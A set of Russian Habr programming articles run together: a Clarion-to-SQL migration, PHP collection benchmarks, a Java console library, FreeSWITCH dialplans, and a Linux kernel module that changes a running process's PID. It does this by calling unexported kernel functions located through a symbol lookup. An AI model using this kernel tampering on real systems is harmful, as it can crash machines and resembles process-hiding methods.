Одно из моих любимых изобретений — это SawStop, уникальная система безопасности для настольных пил. Она позволяет останавливать вращение пильного диска в течении 5 миллисекунд — при контакте с человеческим телом. До изобретения этой системы настольные пилы были инструментами чрезвычайно опасными, но они выполняли важную производственную функцию. На настольных пилах было сделано много очень полезных и важных вещей. Тем не менее, верно также и то, что на настольные пилы приходилась непропорционально большая доля несчастных случаев в деревообрабатывающих цехах. Теперь SawStop экономит много пальцев каждый год.
Таким образом, подробно описав сложности при работе со скриптами Python, я также надеюсь натолкнуть на размышления некоторых инженеров по безопасности. Можно ли сделать SawStop для выполнения произвольного кода для интерактивных интерпретаторов? Какое решение могло бы предотвратить некоторые из описанных выше проблем?
Оставайтесь в безопасности, друзья.
---
#### На правах рекламы
**VDSina** предлагает [безопасные серверы](https://vdsina.ru/cloud-servers?partner=habr79) на Linux или Windows — выбирайте одну из предустановленных ОС, либо устанавливайте из своего образа.
[](https://vdsina.ru/cloud-servers?partner=habr79) | https://habr.com/ru/post/516682/ | null | ru | null |
# Clarion. Процесс миграции Clarion приложения на Microsoft SQL 2019
Продолжаю повествовать о жизни с Clarion. В этом посте я опишу свой путь решения одной из частых задач, стоящих перед Clarion разработчиками, это миграция Clarion программы на СУБД Miscrosoft SQL.
Так получилось что несколько месяцев назад мне на обслуживание передали 2 программы на технологии Clarion, повод грустный, уходит старое поколение, так и случилось с моим научным руководителем. Несколько лет я вместе с ним работал программистом на Clarion, далее я потерял интерес к этой технологии и наши пути разошлись. А сейчас, по прошествии лет передо мной стоит необходимость поддерживать и изредка развивать 2 программы.
Проблематика
------------
Главная на мой взгляд проблема и сложность это работа программы только с нативной СУБД Clarion, доступ к данным при таком подходе очень неудачный, требуется большой объем кода для написания даже простейших задач, которые решаются отправкой на сервер простейшего Update или Insert в Clarion это десятки строчек кода по открытию файла, получению доступа к инфе и его последующего закрытия. Ниже пример:
```
Access:Agent.Open !Открываем файл
Access:Agent.UseFile !Открываем файл
clear(AGN:Record) !Делаем очистку записи на всякий случай
AGN:ID_AGENT = some_id !Присваиваем ключу значение
set(AGN:BY_ID,AGN:BY_ID) !Устанавливаем "каретку" на первое значение ключа
next(agent) !Встаем на первую запись удовлетворяющую ключу
IF errorcode() or AGN:ID_AGENT <> some_id !Проверяем не вышла ли каретка за область ключа
RETVAL = 'Контрагент не найден' !Выкидываем ошибку
ELSE
RETVAL = AGN:N_AGENT !Возвращаем имя агента
.
Access:Agent.Close !Закрываем файл
```
Вот столько действий надо сделать чтобы просто получить запись, далее если записей пачка, то надо запустить цикл и прогнать цикл до конца и "по дороге" контролировать чтобы "каретка" не выбежала за требуемые условия обработки данных. Сущий ад просто. Это можно заменить одним запросом SQL вида:
```
select agent.name where id = some_id
```
Задача
------
Первые задачи передо мной встали очень грустной перспективой, одна из них звучала как "написать модуль выгрузки данные в 1С Бухгалтерию", я сразу представил алгоритм длиной в пару тысяч строк, который можно заменить на один запрос SQL, и вопрос перехода на SQL уже был решен. Речь конечно не о полном переходе, а только о частичной замене части таблиц на версию SQL и поэтапной миграции системы в SQL.
Характеристики системы
----------------------
Обе системы примерно схожие по объему кодовой базы и по количеству пользователей
Общее количество пользователей: около 80
Общее количество таблиц: около 250
Сфера деятельности: Торговля + Сфера обслуживания (Салоны красоты)
**Подразделения:**
3 Салона красоты
5 Подразделений торговых предприятий - мелкооптовая торговля
Используемые инструменты
------------------------
* Самодельная программа миграции
* DCT2SQL
* Cldump
* BULK insert
* UltimateSQL & Ultimate Debug
Самодельная программа миграции
------------------------------
Программа предназначена для автоматизации хранения скриптов по созданию, удалению, очистке таблиц и прочих действий полезных в процессе переноса данных. Также можно запустить произвольный скрипт. Помимо этого программа отправляет post запросы для конвертации dat файлов с их последующей загрузкой в соответствующие таблицы.
DCT2SQL
-------
Данный компонент позволяет генерировать скрипты для экспорта структуры БД из Dictionary в SQL, поддерживает экспорт всех возможных типов данных, также экспортирует индексы и foreign keys. Очень удобно работает, все импортируется в пару кликов. Данные скрипты я храню в таблице миграций.
[Можно скачать на Github](https://github.com/RobertArtigas/DCT2SQL)
Также есть обучающие ролики на youtube по работе и правильной выгрузке. Вообще там очень много инфы в этих роликах по миграции на SQL.
CLDUMP
------
Данная программа конвертирует данные из \*.dat файла в csv таблицы готовые для загрузки через скрипт BULK. Достоинство этой программы - скорость. Она может сконвертировать таблицу накладных за 10 лет за 15-20 секунд. Главная проблема данной утилиты в том, что она доступна только в репозиториях Linux, в частности debian. Пришлось на основе этой команды создать микро-сервис, который на входе принимает post запрос, а на выходе выдает ссылку для скачивания данного файла в виде csv таблицы.
Также одна из проблем была в том, что часть таблиц лежит в папках с "годами" то есть данные каждый год начинаются в таблице заново, например таблица с заказами, ей требуется уникальная идентификация накладных внутри года, в таком случае таблицу кладут в отдельную папку соответствующую "году" происходящего в этой таблице. Чтобы посмотреть заказы "другого года" надо выйти из программы и "зайти в другой год". Такова архитектура приложения. Этот ньюанс тоже надо проработать, поэтому для каждой таблицы есть свой признак, лежит она в общей папке или папке с "годом".
Программу cldump можно скачать командой в любой debian подобной системе:
```
apt-get install cldump
```
BULK insert
-----------
За доли секунд втягивает таблицу из csv в SQL. В данном случает, т.к. связки данных уже настроены на существующие ID, но при этом надо чтобы работал автоинкремент, поэтому его временно надо отключить, также потратил довольно много времени чтобы подобрать подходящие разделители:
```
BULK INSERT dbo.%table_name%
FROM table_name.csv WITH (
FORMAT = 'CSV',
FIELDQUOTE = '',
FIRSTROW = 1,
FIELDTERMINATOR = '0x3b',
ROWTERMINATOR = '0x0a',
CODEPAGE='65001',
TABLOCK,
KeepIdentity)
```
UltimateSQL & Ultimate Debug
----------------------------
Данные компоненты позволяют загружать данные из SQL в QUEUE примерно таким образом:
```
SQL_Result = sql.query('
select id, path_to_result
from dbo.export_tasks as et
where
(status_complete = 0 or status_complete = 2)
and export_table_id = '& exp:id
,qexport_tasks)
```
Выполнять запросы без возвращаемых значений:
```
sql.Query('Update export_tasks set status_complete = 2 where id = ' & qexport_tasks.id)
```
Есть отличное описание как использовать на youtube:
Также при установке внутри шаблонов есть "пасхалка" от автора, [как решить квест описывается по ссылке](https://clarionhub.com/t/need-some-help-with-ultimatesql-error-when-trying-to-include-it-in-my-project/4182). | https://habr.com/ru/post/560034/ | null | ru | null |
# Коллекции объектов в PHP. Часть вторая
Прошло почти 3 недели с момента публикации моего первого [поста о коллекциях объектов в PHP](http://habrahabr.ru/post/144182/). За это время было сделано много работы и получено много опыта, которым я хочу поделиться. Наибольшее количество изменений претерпели карты, большая часть внимания будет уделена именно им.
В этом посте вы увидите:
* Проект и реализацию коллекций объектов в PHP.
* Тесты производительности.
* Впечатления о написании первых Unit тестов.
* Интересную информацию о работе с множествами объектов PHP.
#### Что было сделано?
После публикации моего прошлого поста и окончания его обсуждения, я составил план дальнейшего развития:
* Реализация возможности итерации коллекций с помощью foreach().
* Специализации основных реализаций коллекций для более удобного использования.
* Создание новой реализации интерфейса карты на основе единственного PHP массива.
* Усовершенствование алгоритмов хеширования.
* Отказ от некоторых типов данных для карт. Финальный список поддерживаемых типов выглядит так: int, string, object.
* Тестирование функциональности.
* Тестирование производительности.
Кроме вышеуказанного списка были еще кандидаты, которые не вошли в план текущего релиза:
* Функции фильтрации и сортировки.
* Утилитарные функции коллекций.
#### Интерфейсы коллекций
Разработанные ранее интерфейсы коллекций отреагировали достаточно стабильно на новый план развития. Диаграмма интерфейсов текущей версии выглядит так:
Как видно из диаграммы все интерфейсы коллекций наследуют интерфейс IteratorAggregate, что дает возможность выполнять обход коллекций с помощью foreach(). Проблема с warning, который выскакивает при обработке карт <объект — объект> с помощью foreach() все еще осталась, но по скольку такие ситуации действительно бывают редко, я решил закрыть на это глаза.
#### Реализации карт
Карты представлены реализациями HashMap, HashSet и HashTable. Каждая из данных реализаций имеет собственные специализации для упрощенного использования.
##### HashTable
Внутренняя структура карты HashTable построена на основе единственного PHP массива. Это дает возможность быстрой работы по ключу O(1), но плохо влияет на возможность работы по значению, которая выполняется обычным перебором O(n).
Ключи карты HashTable являются уникальными. Значения карты HashTable не являются уникальными, что позволяет ассоциировать одно значение с несколькими ключами.
Карта HashTable поддерживает строки и целые числа для ключей и строки, целые числа и объекты для значений.
Хеширование ключей и значений не выполняется. Методы getKeyHash() и getValueHash() выбрасывают исключение.
[Диаграмма классов HashTable.](http://habrastorage.org/storage2/f67/825/286/f678252861787922e93fd53c4670e3cf.jpg)
##### HashMap & HashSet
Внутренняя структура карт HashMap и HashSet построена на основе сети ассоциативных связей. Это дает возможность реализовывать все операции карт с помощью ассоциативных выборок. Сложность работы алгоритмов карт равна O(1), что означает, что время установки/получения объектов не изменяется в зависимости от размера карт.
Ключи карты HashMap являются уникальными. Значения карты HashMap не являются уникальными, что позволяет ассоциировать одно значение с несколькими ключами.
Ключи и значения карты HashSet являются уникальными, что позволяет организовывать хранилище уникальных ассоциаций.
Карты HashMap и HashSet поддерживают строки, целые числа и объекты для ключей и значений.
[Диаграмма классов HashMap.](http://habrastorage.org/storage2/77b/baa/f52/77bbaaf52fe754fab7dc0379b566e1c3.jpg)
[Диаграмма классов HashSet.](http://habrastorage.org/storage2/d84/745/7a4/d847457a4b7aff1bb64ff4799729017a.jpg)
#### Реализации наборов, списков и очередей
Реализация наборов претерпела некоторые косметические изменения и обросла специализациями для упрощенного использования.
[Диаграмма классов наборов.](http://habrastorage.org/storage2/b9a/8fe/7a6/b9a8fe7a61521dba7fbea4a287ffe7e4.jpg)
Реализации списков и очередей остались практически без изменений.
[Диаграмма классов списков и очередей.](http://habrastorage.org/storage2/22f/811/9d3/22f8119d361d2f621507168d358bcfc1.jpg)
#### Тестирование функциональности
Весь представленный код покрыт [PHPUnit](https://github.com/sebastianbergmann/phpunit/) тестами.
Это были мои первые Unit тесты и я очень доволен полученным опытом. Данный вид тестирования позволил отловить мне порядка десяти опечаток и одну фундаментальную ошибку, для фиксации которой пришлось менять реализацию.
Хочется отметить три вещи:
1. Если вы еще не используйте Unit тесты, то начинайте прямо сейчас. Лично у меня произошла интересная ситуация: я породил достаточно много кода, который приходилось и приходится поддерживать, освоил много всяких приемчиков, которые должны были помогать это делать, но не написал ни одного Unit теста. Почему? — Просто боялся начать. Только сейчас я понял, что моя жизнь могла быть гораздо легче.
2. Написав первые несколько тестов я понял, что внутри большой неизведанный (для меня) мир. Из всего разнообразия assert\*, я использовал только несколько. Код тестов часто был не эффективным и дублировался. Бегло просмотрев [документацию по PHPUnit](http://www.phpunit.de/manual/current/en/index.html), я понял, что тесты могут быть гораздо лучше, чем те, что создал я.
3. Unit тесты не лечат от всех болезней. Мы можем протестировать метод, всю логику внутри него, мы даже имеем удобную платформу для того, чтобы тестировать определенные небольшие сценарии, но не стоит забывать и про другие методы тестирования. Из того, что можно достойно автоматизировать, я бы выбрал Behavior тесты в качестве дополнительного варианта тестирования.
#### Тестирование производительности
Наиболее интересным для меня было то, на сколько производительны полученные коллекции. Реализации наборов и последовательных списков я отбросил в сторону и сосредоточился на тестировании карт.
Объекты тестирования:
* Обычный PHP массив.
* SPL реализация массива [ArrayObject](http://ua.php.net/manual/ru/class.arrayobject.php).
* Реализация карты HashTable.
* Реализация карты HashSet.
* Реализация карты HashMap.
Критерии тестирования:
* Среднее время установки пары ключ / значение.
* Среднее время выборки значения по ключу.
* Среднее время выборки ключа по значению.
* Объем потребляемой оперативной памяти.
Платформу тестирования детально описывать не буду, так как не вижу в этом особого смысла. Дело в том, что данные тесты не предназначены для определения количественных характеристик, а скорее для демонстрации соотношений. Соотношения результатов тестов практически не менялись ни на разном железе, ни на разных операционных системах.
Результаты тестов в этом посте я снимал со своего ноутбука на Windows Vista 32 bit.
##### Тестирование времени установки пары ключ / значение
График:
Файлы тестов:
* [Тест обычного PHP массива](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/set/array.php)
* [Тест ArrayObject](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/set/arrayobject.php)
* [Тест HashTable](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/set/hashtable.php)
* [Тест HashSet](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/set/hashset.php)
* [Тест HashMap](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/set/hashmap.php)
##### Тестирование времени выборки значения по ключу
График:
Файлы тестов:
* [Тест обычного PHP массива](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/get/array.php)
* [Тест ArrayObject](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/get/arrayobject.php)
* [Тест HashTable](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/get/hashtable.php)
* [Тест HashSet](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/get/hashset.php)
* [Тест HashMap](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/get/hashmap.php)
##### Тестирование времени выборки ключа по значению
График:
Файлы тестов:
* [Тест обычного PHP массива](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/keyof/array.php)
* [Тест ArrayObject](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/keyof/arrayobject.php)
* [Тест HashTable](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/keyof/hashtable.php)
* [Тест HashSet](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/keyof/hashset.php)
* [Тест HashMap](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/keyof/hashmap.php)
##### Тестирование объема потребляемой оперативной памяти
График:
Файлы тестов:
* [Тест обычного PHP массива](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/memory/array.php)
* [Тест ArrayObject](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/memory/arrayobject.php)
* [Тест HashTable](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/memory/hashtable.php)
* [Тест HashSet](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/memory/hashset.php)
* [Тест HashMap](https://github.com/rmk135/Rmk-Framework/blob/master/www/tests/map/memory/hashmap.php)
#### Некоторые интересные факты
В процессе работы всплыли некоторые интересные факты, которыми хочется поделиться.
##### Непостоянство spl\_object\_hash()
Думаю, многим знакома функция [spl\_object\_hash()](http://ua.php.net/manual/ru/function.spl-object-hash.php).
Оказывается у нее есть одна, на мой взгляд, не очень хорошая особенность — непостоянство хешей.
Тест непостоянства spl\_object\_hast():
```
php
$object1 = new stdClass();
$hash1 = spl_object_hash($object1);
unset($object1);
$object2 = new stdClass();
$hash2 = spl_object_hash($object2);
var_dump($hash1);
var_dump($hash2);
var_dump($hash1 === $hash2);
//string '000000004974d03c000000005560c408' (length=32)
//string '000000004974d03c000000005560c408' (length=32)
//boolean true
</code
```
Что из этого следует и почему данная особенность неприятна?
* Нельзя опираться на spl\_object\_hash(), как на уникальный идентификатор объекта даже в рамках процесса.
* Нельзя сериализовывать никакие структуры данных, которые хранят хеши spl\_object\_hash(), без обновления хешей при десериализации.
Для меня и моей работы такое поведение было не подходящим, так как именно на эту функцию я полагался, как на источник быстрого хеширования объектов.
##### Внутреннее хеширование ключей массивов
В комментариях к моему прошлому посту пользователь [Athari](http://habrahabr.ru/users/athari/) оставил ценный комментарий, часть которого я процитирую:
> Зачем для строк вычислять md5? Похапэшные массивы — и так хэштаблицы, не нужно вычислять хэши на двух уровнях. Только память и вычислительные ресурсы впустую расходуются.
В этом действительно большая доля смысла, но все же я решил проверить.
Результаты:
* Если строковый ключ небольшой, скажем 100 символов, то вычисление его md5 хеша действительно только расходует ресурсы.
* Если строковый ключ достаточно длинный, скажем 20к символов, то размер потребляемой оперативной памяти массивом вырастает ~ на 70% по сравнению со своим md5 хешированным аналогом. При этом время установки и доступа остается соизмеримым, но, конечно, в пользу «чистого» ключа.
##### Хеширование массивов
Все тот же пользователь [Athari](http://habrahabr.ru/users/athari/) оставил еще один дельный комментарий к прошлому посту:
> Вызов serialize забавен. Понимаю, «нужно» все типы поддерживать, но не такой же ценой.
Для воссоздания контекста напомню, что речь шла о том, что нужно было поддерживать массив как тип данных ключей коллекции. Для этого выполнялась его сериализация для приведения к строке, а после хеширование этой строки с помощью md5().
Действительно «дорогая» цена. В текущей реализации я вообще отказался от поддержки массивов в качестве ключей карты.
Причины по которым я отказался от поддержки массивов:
* «Дорого» по производительности.
* Мало востребовано.
* Небезопасно.
Особенно хочется остановить на пункте «Небезопасно.» Дело в отсутствие обратной связи между данными и хешем (как бы «дорого» мы его не получили). Если клиентский код сохранит ссылку на массив, который мы захешировали, и изменит его, то хеш устареет. Получить информацию о том, что это тот же массив возможности уже не будет. Тоже самое относится и к другим скалярным типам данных.
Есть ли выход? Единственное, что приходит на ум, это использовать массив через объект обертку (ArrayObject, etc...). В таком случае можно хотя бы получить «непостоянный» spl\_object\_hash().
#### Заключение
Пожалуй, самый главный вопрос, на который нужно дать ответ: «Готовы ли Вы заплатить такую цену по производительности за это решение?». Я уверен, что никто не готов. И я в том числе. Когда я создал графики результатов тестирования производительности, я был удивлен. Я ожидал гораздо меньших соотношений по сравнению со стандартными реализациями, хотя прекрасно понимал, что данное решение явно проигрывает в этом аспекте. Я сперва даже пытался найти решение проблем, но, увы, ничего не вышло. Основная проблема заключается в том, что даже вызов метода является «дорогой» операцией в этом случае. Что касается объема потребляемой оперативной памяти, то до сих пор не пойму, на что расходуется столько ресурсов. Единственное полезное новшество — это двустороннее хеширование карты, что дает возможность выбирать из нее по значению в рамках O(1).
В целом, считаю, что данный проект потерпел фиаско, и причиной этому является аспект производительности.
##### Развитие
Исходя из моей аналитики подобное решение все же появится со временем. Лучшее место для него — [пакет SPL](http://ua.php.net/manual/ru/book.spl.php). Может быть это будет и не SPL, а какой-то другой PECL модуль, который со временем войдет в стандартную сборку PHP. В любом случае что-то удовлетворительное или хорошее получится только при грамотной реализации на С. Кстати, если кто-то заинтересовался данным проектом и хочет помочь реализовать его в качестве PECL модуля, буду рад сотрудничеству.
##### Что делать дальше?
Возможно, просто довольствоваться тем, что имеем на текущий момент и ждать. Ведь даже сейчас все достаточно неплохо.
Лично я решил создать более легковесные реализации, которые просто будут немного помогать в повседневной жизни и не будут чем-то большим, чем есть стандартные PHP массивы. Уже сейчас есть некоторые наброски:
Диаграмма классов:
[MixedArray & ObjectArray UML Diagram](http://habrastorage.org/storage2/891/af1/2ad/891af12ad5f61928dcb69a881fd46973.jpg)
Исходные коды:
[MixedArray](https://github.com/rmk135/Rmk-Framework/blob/master/library/Rmk/Util/MixedArray.php)
[ObjectArray](https://github.com/rmk135/Rmk-Framework/blob/master/library/Rmk/Util/ObjectArray.php)
Если это кому-то интересно, пишите, я расскажу о идее более детально.
#### Исходные коды
<https://github.com/rmk135/Rmk-Framework>
#### Благодарности
Благодарю всех за конструктивные комментарии к прошлому посту. Они были очень полезны. Рад буду услышать Ваше мнение еще раз.
Спасибо, что дочитали до конца и извините за обилие графики, я старался размещать ее только там, где необходимо. | https://habr.com/ru/post/145575/ | null | ru | null |
# Jerminal — эмулятор терминала для Java-программ
### Вступление
Привет, хабраюзеры! Решил поведать вам о мини-библиотеке Jerminal. Я сейчас работаю над большим коммерческим проектом на Groovy/Java. Ну и мне пришло задание — написать консольку для приложения. К сожалению, было поставлено условие: никаких сторонних решений, все только свое. Недолго думая, я сел и написал ее. Подробнее — под катом.
### Цели
В принципе, чего-то очень серьезного от меня не требовали. Вот, собственно, параметры:
* Должна быть консолька, принимающая команды с текстовыми аргументами (без заморочек — просто строковый массив).
* Должно быть приглашение которое вводу, которое можно будет менять в коде.
* Можно привязывать методы к командам с помощью Reflection и лямбда-выражений.
В целом довольно простой список. Тем, кому не терпится посмотреть на результат, ссылку на репозиторий даю: [kkremen/jerminal](https://bitbucket.org/kkremen/jerminal).
### Обзор кода
Ну а теперь к делу. Немного почитав про Reflection и лямбды, я решил сделать "ход конем".
В первую очередь я создал интерфейс `Executable`:
**Executable.java**
```
package org.meinkopf.console;
import java.lang.reflect.InvocationTargetException;
public interface Executable {
Object invoke(Object[] args) throws InvocationTargetException, IllegalAccessException;
}
```
Если кто не знает, то можно сделать так:
```
Executable ex = (args) -> {
return null;
}
ex.invoke(someArgs);
```
Теперь при вызове `ex.invoke(...)` выполнится лямбда-выражение. Ну а для поддержки Reflection я создал класс `BasicExecutable`, наследующий `Executable`:
**BasicExecutable.java**
```
package org.meinkopf.console;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
@SuppressWarnings({ "WeakerAccess", "unused" })
public class BasicExecutable implements Executable {
protected Method method;
protected Object target;
public BasicExecutable(Method method, Object target) {
this.method = method;
this.target = target;
}
/* Getters and Setters */
public Object invoke(Object[] args) throws InvocationTargetException, IllegalAccessException {
if (args.length < method.getParameterCount()) {
return "Too few arguments!\n"; // если аргументов слишком мало, выводим на консоль предупреждение
}
return method.invoke(target, Arrays.copyOfRange(args, 0, method.getParameterCount())); // если аргументов слишком много, просто обрезаем ненужные
}
}
```
Еще я написал пару интерфейс-класс для списка команд: `CommandList` и `BasicCommandList` соответственно. Базовый класс хранит команды в `Map < String, Executable >` и возвращает основному классу объекты типа `Executable`.
**Скрытый текст**
```
package org.meinkopf.console;
public interface CommandList {
Executable get(String commandName);
}
```
**Скрытый текст**
```
package org.meinkopf.console;
import java.util.HashMap;
import java.util.Map;
@SuppressWarnings({ "unused", "WeakerAccess" })
public class BasicCommandList implements CommandList {
protected Map < String, Executable > methodMap = new HashMap <>();
@Override
public Executable get(String command) {
return methodMap.get(command);
}
public void register(@SuppressWarnings("SameParameterValue") String name, Executable command) {
methodMap.put(name, command);
}
}
```
Служебный класс `Command` хранит разобранную парсером команду в виде строки-имени и `ArrayList` аргументов. Аргументы, кстати, принимаются только строковые, то есть числа тоже передаются в виде строки.
Основной класс реализует `Runnable`, но пока я это никак не использовал, и вызываю метод `run` напрямую.
**Скрытый текст**
```
package org.meinkopf.console;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Scanner;
@SuppressWarnings({ "WeakerAccess", "unused", "SpellCheckingInspection" })
public class Jerminal implements Runnable {
public static String PROMPT = " ~ $ ";
public static String HEADER = "Jerminal v0.0.1 for JVM Apps\nCopyright: Karl Meinkopf, 2017\n";
protected ArrayList < Command > commandHistory = new ArrayList <>();
protected CommandList commandList = null;
private Scanner scanner;
public JConsole(CommandList list) {
commandList = list;
scanner = new Scanner(System.in);
}
protected Command parse(String rawCommand) {
rawCommand = rawCommand.replaceAll("(\"[\\s\\S]*?\"|[\\S]+)\\s*", "$1\u0001");
rawCommand = rawCommand.replaceAll("\"([\\s\\S]*?)\"", "$1");
String[] rawList = rawCommand.split("\u0001");
ArrayList < String > args = new ArrayList <>(Arrays.asList(rawList));
String command = args.remove(0).trim();
return new Command(command, rawCommand, args);
}
protected Object execute(Command command) throws InvocationTargetException, IllegalAccessException {
Executable executable = commandList.get(command.getName());
if (executable == null) {
return "Can't find command: '" + command.getName() + "'";
}
return executable.invoke(command.getArgs().toArray());
}
protected void prompt( ) {
System.err.println();
System.err.print(PROMPT);
Command command = parse(getInputLine());
Object result;
try {
result = execute(command);
} catch (InvocationTargetException | IllegalAccessException e) {
System.err.println("Can not execute command '" + command.getName() + "'!\n\tReason: " + e.getMessage());
return;
}
if (result != null)
System.err.println(result.toString());
}
protected String getInputLine( ) {
return scanner.nextLine();
}
public void run( ) {
System.err.println(HEADER);
//noinspection InfiniteLoopStatement
while (true) {
prompt();
}
}
}
```
### Заключение
Ну вот и вся библиотека. Пока маленькая, но я планирую ее развивать и улучшать. Если есть замечания и советы — буду рад услышать. | https://habr.com/ru/post/327234/ | null | ru | null |
# Введение в FreeSWITCH, часть вторая
[О FreeSWITCH](http://deepwalker.habrahabr.ru/blog/50091/)
[Первая часть](http://deepwalker.habrahabr.ru/blog/50140/)
Номерной план
-------------
Итак, у FreeSWITCH можно подкрутить множество настроек, но основное действо будет происходить в номерном плане. Номерной план располагается в conf/dialplan/\*. Как обычно препроцессинг собирает все файлы из этой папки в один. Номерной план делится на контексты (context). То есть следуя настройкам в SIP профиле, настройкам пользователя, выбирается соотвествующий контекст и звонок обрабатывается в соответствии с модулями (extension, переводится на русский как «добавочный номер», но не соответствует смыслу).
Создайте conf/dialplan/simple.xml, поместим туда пример простого контекста НП:
````
xml version="1.0" encoding="utf-8"?
````
Отредактируйте файл conf/directory/1000.xml, и выставьте user\_context в значение simple. Этим вы скажет FreeSWITCH что звонки от пользователя 1000 надо обрабатывать в соответствии с контекстом simple. Зарегистриуйтесь на сервере с именем пользователя 1000, паролем 1234 и в качестве realm и адреса сервера выставьте IP адрес сервера. Попробуйте позвонить по номеру 7878 (файл wav надо положить по соответствующему адресу, иначе ничего не услышите).
Playback это одно из возможных приложения номерного плана. Полный список возможных действий [на wiki проекта](http://wiki.freeswitch.org/wiki/Mod_dptools).
Bridge
------
Очень важным приложением является bridge. С его помощью можно установить соединение с шлюзом, другим пользователем. Общий вид:
Можно вызвать набрать несколько адресов одновременно:
Последовательно:
При помощи приложения «set» можно выставить переменную call\_timeout, которая ограничит время попытки дозвона.
Теперь, вооружившись этим знанием, можем написать еще один модуль (extension) для звонков локальным пользователям:
````
````
Здесь видим параметр приложения bridge — user/$1@$${domain}. Разберем подробнее, $1 это результат вычисления регулярного выражения в condition, а именно содержимое первых скобок. user — стандартная точка назначения (endpoint) служащая для вызова зарегистрированных пользователей, требует указания корректного домена.
Помимо точки назначения user основная точка это sofia. Синтаксис выглядит так: sofia/профиль/номер@адрес\_узла. Параметр профиль задает тот виртуальный SIP сервер, с адреса и порта которого будет произведен вызов.
Второй вариант использования sofia это посыл вызова через шлюз: sofia/gateway/имя\_шлюза/номер. Например модуль для звонка в Москву через sipnet:
````
````
На этом пока всё. Исследуйте номерной план идущий в комплекте, читайте wiki, а я пока подумаю над продолжением. | https://habr.com/ru/post/50240/ | null | ru | null |
# Меняем PID процесса в Linux с помощью модуля ядра
В этой статье мы попытаемся создать модуль ядра, способный изменить PID уже запущенного процесса в ОС Linux, а так же поэкспериментировать с процессами, получившими измененный PID.
***Предупреждение**: смена PID — нестандартный процесс, и при определенных обстоятельствах может привести к панике ядра.*
Наш тестовый модуль будет реализовывать символьное устройство /dev/test, при чтении с которого процессу будет изменен PID. За пример реализации символьного устройства спасибо [этой](https://habrahabr.ru/post/106702/) статье. Полный код модуля приведен в конце статьи. Конечно, самым правильным решением было добавить системный вызов в само ядро, однако это потребует перекомпиляцию ядра.
Окружение
---------
Все действия по тестированию модуля выполнялись в виртуальной машине VirtualBox с 64 битным дистрибутивомLInux и версией ядра 4.14.4-1. Связь с машиной осуществлялась с помощью SSH.
Попытка #1 простое решение
--------------------------
***Пару слов о current**: переменная current указывает на структуру [task\_struct](https://github.com/torvalds/linux/blob/master/include/linux/sched.h) с описанием процесса в ядре(PID, UID, GID, cmdline, namespaces и т.д)*
Первой идеей было просто поменять параметр current->pid из модуля ядра на нужный.
```
static ssize_t device_read( struct file *filp,
char *buffer,
size_t length,
loff_t * offset )
{
printk( "PID: %d.\n",current->pid);
current->pid = 1;
printk( "new PID: %d.\n",current->pid);
,,,
}
```
Для проверки работоспособности модуля я написал программу на C++:
```
#include
#include
#include
int main()
{
std::cout << "My parent PID " << getppid() << std::endl;
std::cout << "My PID " << getpid() << std::endl;
std::fstream f("/dev/test",std::ios\_base::in);
if(!f)
{
std::cout << "f error";
return -1;
}
std::string str;
f >> str;
std::cout << "My new PID " << getpid() << std::endl;
execl("/bin/bash","/bin/bash",NULL);
}
```
Загрузим модуль коммандой insmod, создадим /dev/test и попробуем.
```
[root@archlinux ~]# ./a.out
My parent PID 293
My PID 782
My new PID 782
```
PID не изменился. Возможно, это не единственное место, где указывается PID.
Попытка #2 дополнительные поля PID
----------------------------------
Если не current->pid является идентификатором процесса, то что является? Быстрый просмотр кода getpid() навел на структуру [task\_struct](https://github.com/torvalds/linux/blob/master/include/linux/sched.h), описывающую процесс Linux и файл [pid.c](https://github.com/torvalds/linux/blob/master/kernel/pid.c) в исходном коде ядра. Нужная функция — \_\_task\_pid\_nr\_ns. В коде функции встречается обращение task->pids[type].pid, этот параметр мы и изменим
Компилируем, пробуем
Так как тестировал я по SSH, мне удалось получить вывод программы до падения ядра:
```
My parent PID 293
My PID 1689
My new PID 1689
```
Первый результат, уже что-то. Но PID все равно не изменился.
Попытка #3 не экспортируемые символы ядра
-----------------------------------------
Более внимательное изучение [pid.c](https://github.com/torvalds/linux/blob/master/kernel/pid.c) дало функцию, которая делает то, что нам нужно
`static void __change_pid(struct task_struct *task, enum pid_type type,
struct pid *new)`
Функция принимает задачу, для которой надо изменить PID, тип PID и, собственно, новый PID. Созданием нового PID занимается функция
`struct pid *alloc_pid(struct pid_namespace *ns)`
Эта функция принимает только пространство имен, в котором будет находиться новый PID, это пространство можно получить с помощью `task_active_pid_ns`.
Но есть одна проблема: эти символы ядра не экспортируются ядром и не могут использоваться в модулях. В решении этой проблемы мне помогла замечательная [статья](https://habrahabr.ru/post/267535/). Код функции find\_sym взят оттуда.
```
static asmlinkage void (*change_pidR)(struct task_struct *task, enum pid_type type,
struct pid *pid);
static asmlinkage struct pid* (*alloc_pidR)(struct pid_namespace *ns);
static int __init test_init( void )
{
printk( KERN_ALERT "TEST driver loaded!\n" );
change_pidR = find_sym("change_pid");
alloc_pidR = find_sym("alloc_pid");
...
}
static ssize_t device_read( struct file *filp,
char *buffer,
size_t length,
loff_t * offset )
{
printk( "PID: %d.\n",current->pid);
struct pid* newpid;
newpid = alloc_pidR(task_active_pid_ns(current));
change_pidR(current,PIDTYPE_PID,newpid);
printk( "new PID: %d.\n",current->pid);
...
}
```
Комплируем, запускаем
```
My parent PID 299
My PID 750
My new PID 751
```
